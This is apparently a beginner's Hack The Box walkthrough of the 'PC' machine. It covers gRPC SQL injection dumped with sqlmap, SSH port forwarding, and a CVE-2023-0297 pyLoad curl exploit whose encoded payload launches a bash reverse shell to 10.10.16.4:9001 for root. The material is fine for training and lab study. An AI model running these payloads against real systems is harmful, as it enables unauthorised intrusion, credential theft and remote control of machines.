This is one of the most beginner-friendly blog ever!! Or That's what the intention is :|
For better readability, turn the dark mode on ( available in the top right corner ):
Connect with Hack The Box using your OpenVPN file, then spawn the PC machine.
Once it's spawned, ping its IP. Then you're good to go.
Mapping
Let's start by running a simple Nmap scan:
Only SSH appears open, nmap's simple scan only scans for the first 1000 ports. So let's try something different.
Let's run it with a default script (-sC ):
The scan too scanned only the first 1000 ports.
Okay, let's scan all the ports now, I didn't use timing template but you should use it to make your scan faster.
The use of timing templates to make your scans fast is acceptable in environments like these ( HackTheBox, TryHackMe and stuff ) but don't do it on real web apps or take proper cautions as it's going to make your scan way too aggressive and loud.
Anyways, use either -T4 or -T5, the higher the number, the more aggressive and fast it's going to be.
sudo nmap -p0-65535 10.10.11.214 -v -T4
# Don't just copy the commands, understand them!!
Now we've found one new port open in this scan. GOOD!!
If you search it, you'll see that this port is default for gRPC service.
Source of the info: follow the link here
But you can't directly just access this using IP:port ( socket ):
We need a special tool that supports it:
two of which are:
grpcui ( for ui ) and
grpcurl ( for command line )
We'll be using grpcui along with Burp Suite.
source: https://medium.com/@ibm_ptc_security/grpc-security-series-part-3-c92f3b687dd9
Go to grpcui's github repo:
https://github.com/fullstorydev/grpcui
Follow the link below, and download the grpcui from "Assets" section of the page that suits your system:
https://github.com/fullstorydev/grpcui/releases
unzip it:
tar xvf grpcui_1.3.2_linux_x86_64.tar.gz
or
unzip grpcui_1.3.2_linux_x86_64.zip
Then run the following command:
./grpcui --plaintext 10.10.11.214:50051
As soon as you run this, the web form will open up in your browser, the one that has been mentioned in the GitHub screenshot that I attached above in the screenshot:
So Grpcui is now running on our own machine at 127.0.0.1:37551, using which we are connected to the PC Machine on port 50051, the one that the Nmap found open but was unable to identify the service it is running. That now we do though, it's gRPC.
In Case you are curious to learn about gRPC in detail:
Optional ( if you want to learn about gRPC ):
amazing explainer, long video
Understanding the flow of this Web Form ( with burp suite ) :
I have the web form open in my Burp Suite browser so that every request and response gets recorded in Proxy HTTP History.
This is helpful as I can visit all the requests and responses whenever I'd like and will be able to grab some information that might be useful for another function of the form.
Like this:
Now if you look into the web UI:
Here, you can do three operations; Login, Register a new user and get info.
We first will go on and register a new user.
Response:
Registered, now let's login:
Response:
- We get a user id and a token for that user. This is what we can use to get info ( the third method in the Method name ) of the user:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYW5hbmQiLCJleHAiOjE2OTc0Nzk5Njh9.w5AVsW4Wp7Jy7UN_Fw-2N0GCGVBJ4JUHlNkjg2ZIqkI'
id: 857
#These are user specific, yours will be different so don't copy. Dah!!
Response:
- This would have been captured in the HTTP History of Burp, send this request to the repeater:
- Keep burp open for now. We'll come back at it in a bit.
Spotting the Vulnerable Point:
We saw while walking through the Web Form, we saw we have a lot of points that the user directly interacts with, it's worth checking them all out one by one for any type of vulnerabilities.
The first thing that comes into our head is to input a command of sorts or a query to check if the form has input sanitization in place or not.
Second is that which point retrieves info from the backend. This one is pretty self-explanatory ( the getInfo method does ).
It turns out that, id in getInfo
method name is vulnerable to SQLi ( SQL injection ).
Now, coming back to the Burp Suite's last request:
So the vulnerable point in this is the id parameter in the body of the request:
Exploitation:
We check the vulnerability's existence by putting a wrong id value ( 858, which doesn't exist ) and a condition that will be true always.
As we are using it with or operator, if any of the two values in id is correct, the response would fetch us stuff: ( that is if the point is vulnerable )
Response:
- It works. The response doesn't contain any error code. On top of that, the message " The admin is working hard to fix the issues. " confirms that our query was executed successfully. If not that, then there's definitely something juicy in here.
What would be its response if we provide just a wrong id and no "or 1=1" condition?
- Let's see:
The web Form doesn't respond in the same way, and on top of that, it throws an error code in the response as well.
That confirms that adding "or 1=1" did indeed make the web form behave differently.
Now let's use this discovered vulnerable point to dig out something sensitive.
But first, we need to find out which database service ( DBMS ) is being used in the backend, you may ask why..
- Different DBMSs have their own specific SQL syntax and behavior. By knowing which DBMS is being used (e.g., MySQL, SQLite etc), we can craft SQL injection payloads that are tailored to that specific system. This makes the exploitation more efficient and effective. And a few other reasons like avoiding false positives etc..
SQLmap is one handy tool that can help find in finding this out quickly.
So let's just first save the request from Burp Suite in a file:
- put an asterisk ( * ) right after the value in id parameter - This lets sqlmap know, that this point is a test injection point.
- right-click the request and select save item..
I named the file: getInfo-request.txt
Now I tried random dbms names while using sqlmap on this request file, and eventually one hit it successfully. I found the backend DBMS.
sqlmap -r getInfo-request.txt -p id --dbms=sqlite
# -r = request, -p = parameter
SQLMap Output:
Easy Exploitation ( quick way out ):
We can continue using this sqlmap tool and actually dump the backend data just by adding the --dump switch.
sqlmap -r getInfo-request.txt -p id --dbms=sqlite --dump
+------------------------+----------+
| password | username |
+------------------------+----------+
| admin | admin |
| HereIsYourPassWord1431 | sau |
+------------------------+----------+
Retrieving User Flag:
Now we know that the ssh port is open, so let's try and login with ssh using the credential set that we have dumped.
Admin login seems to be restricted.
Let's try the second set of credentials:
And walah we're in!!
Now let's get our user's flag, which should be straightforward.
Privilege Escalation:
Let's run sudo -l.
- The user can't run any root-level commands.
While enumerating through the system, we found out that the pc machine is listening at 8000 and 9666. Let me explain this thoroughly but before I do that, you should have a basic idea about port forwarding.
If you don't already understand the concept of Port forwarding, here's a short and sweet
intro video
.
If we use the command netstat ( network statics ), is used for network connections and network statistics and helps in troubleshooting network problems.
Let's run a vanilla netstat command:
- See, it lists the connection that we have established with this PC machine. SSH and the gRPC Web Form that we used earlier to dump the sau user's password.
Anyways, moving on to the command that will list the extra listening ports that our nmap scan didn't identify:
netstat -tuln
# -t = shows TCP connections
# -u = shows UDP connections
# -l = shows listening sockets only
# -n = shows numbererical ( IP address and ports ) instead of resolving hostname
Alternatively, you can use the ss command as well to list local listening ports and IP:
ss -tlpn
NOTE:
In the output, we typically see the state of TCP ports (such as "LISTENING") but no state for UDP ports. This is because UDP is a connectionless protocol, and it doesn't have the same concept of connection states as TCP. A very well-known networking concept.
sau@pc:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:9666 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp6 0 0 :::50051 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
udp 0 0 127.0.0.53:53 0.0.0.0:*
udp 0 0 0.0.0.0:68 0.0.0.0:*
We see quite a few ports ( 8 ports in number
) that the PC machine is listening at:
The ones that Nmap was able to identify as well: 22 - one TCP port and one TCP6 port ( SSH ) and 50051 ( gRPC ) -
3 ports
Then there are the ports that are very common to see in use: 53 - TCP port and UDP port ( DNS - Domain Name System; for IP to Domain name and reverse mapping ) and UDP 68 port ( DHCP - Dynamic Host Configuration Protocol - for ip assignment to a client connecting to internet using DHCP server ) -
3 ports
Now the ones that we didn't know about: -
2 ports
8000 listening locally on localhost IP ( 127.0.0.1 )
9666 listening on all interfaces ( 0.0.0.0 )
We'll now be setting up port forwarding. We'll make our machine ( attacker ) listen on a port and connect ( bind ) that port with the remote compromised machine's ( PC ) socket. We're going to do this for both the ports that we found running locally on the compromised machine:
ssh -L 8000:127.0.0.1:8000 -L 9666:127.0.0.1:9666 sau@10.10.11.214
- Ignore the errors, as these ports came in use after this command was executed.
This command is setting up two port forwarding using SSH:
First, the local 8000 port ( attacker's machine ) binds to the compromised system's socket ( 127.0.0.1:8000 ).
Second, the local port 9666 binds to the compromised machine's socket ( 127.0.0.1:9666 )
Now to check if our system ( attacker's ) is configured correctly for port forwarding:
sudo lsof -i :8000
# sudo lsof -i :9666 for the second port
- We see that our port forwarding has been set up correctly.
Now as we've set port forwarding, when we type localhost:8000 in our machine, it should direct us to the remote system's socket instead and hence should be able to see whatever service it's running there.
So let's do that.
This is what we are presented at localhost:8000 .
I tried accessing localhost:9666, but it gave a 408 error.
Let's see what is the privilege that this pyLoad service on the remote system is running with:
ps aux | grep pyload
- We see /usr/bin/python3 /usr/local/bin/pyload is being run by the root user, hence has the privileges of the root. And as we are looking for a way into the system with root privileges, this could be our way in.
Let's search if there's any exploit for this service "pyLoad" version 0.5.0, that's running on the compromised machine.
I found a CVE that was released this year 2023 only that mentions pyLoad 0.5.0 as vulnerable to letting attackers run arbitrary code: CVE-2023-0297.
POC: https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/
It goes by the name Pre-auth Remote Code Execution.
The POC mentions that this vulnerability exists in js2py functionality. js2py translates javascript code into python.
It lets us execute arbitrary code.
# POC
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
--data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29;f=function%20f2(){};&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
The parameter that's been tampared in POC is jk which has a value that appears to be encoded.
Let's try a decoder and decode this long value. You can use any web-based decoder and choose URL decoding. I used Burp Suite Decoder and decoded it as url:
The decoding reveals that it is a Python one-liner:
pyimport os;os.system("touch /tmp/pwnd")
- That creates a file "pwnd" in /tmp directory. That's all that it does.
So in summary, we have pyLoad running with root-level privileges, and on top of that, this POC confirms that have a way to execute commands on the compromised remote system as well.
Now think about what we can do with this, got anything popping up in your head?
- That's right, we can make the remote system run a reverse shell code and gain a root shell. So let's do that.
Using SSH connection, we create a script that contains the reverse shell code, in the directory /tmp/ :
import os
os.system("bash -c '/bin/sh -i >& /dev/tcp/10.10.16.4/9001 0>&1'")
Now I'll listen at 9001 on my local system as the reverse shell code payload contains it:
nc -lvnp 9001
Now up the decoded part of the POC that I showed earlier and alter it to execute this Python script on the remote compromised system:
pyimport os;os.system("python3 /tmp/pwned.py")
Now URL-encode this part and place it in the POC at the place of jk parameter's value:
# URL-encoded
%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%70%79%74%68%6f%6e%33%20%2f%74%6d%70%2f%70%77%6e%65%64%2e%70%79%22%29
# Modified POC
curl -i -s -k -X $'POST' \
--data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%70%79%74%68%6f%6e%33%20%2f%74%6d%70%2f%70%77%6e%65%64%2e%70%79%22%29;f=function%20f2(){};&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
- For some reason, extra request headers ( -H ) in the POC were causing a problem, so removed them.
As we have port forwarded, we can run this POC at either our system or on the compromised system. So Let's do it.
This will make a request using PyLoad which will let the payload in jk value run on the server. The jk value will trigger the command "python3 /tmp/pwned.py" and run the pwned.py script which contains reverse shell code. Hence we should be able to gain a shell on our local machine's listener at port 9001.
Now our listener should have received a shell:
We have a root shell !!
Retrieving The root Flag:
- And we have the root flag now.
Suggested Videos:
Chisel - an alternative to SSH port-forwarding ( you should definitely watch it, it will help you in CTFs and in scenarios when you have a shell and not a SSH on the target ) :
Chisel short intro
Chisel John Hammond long video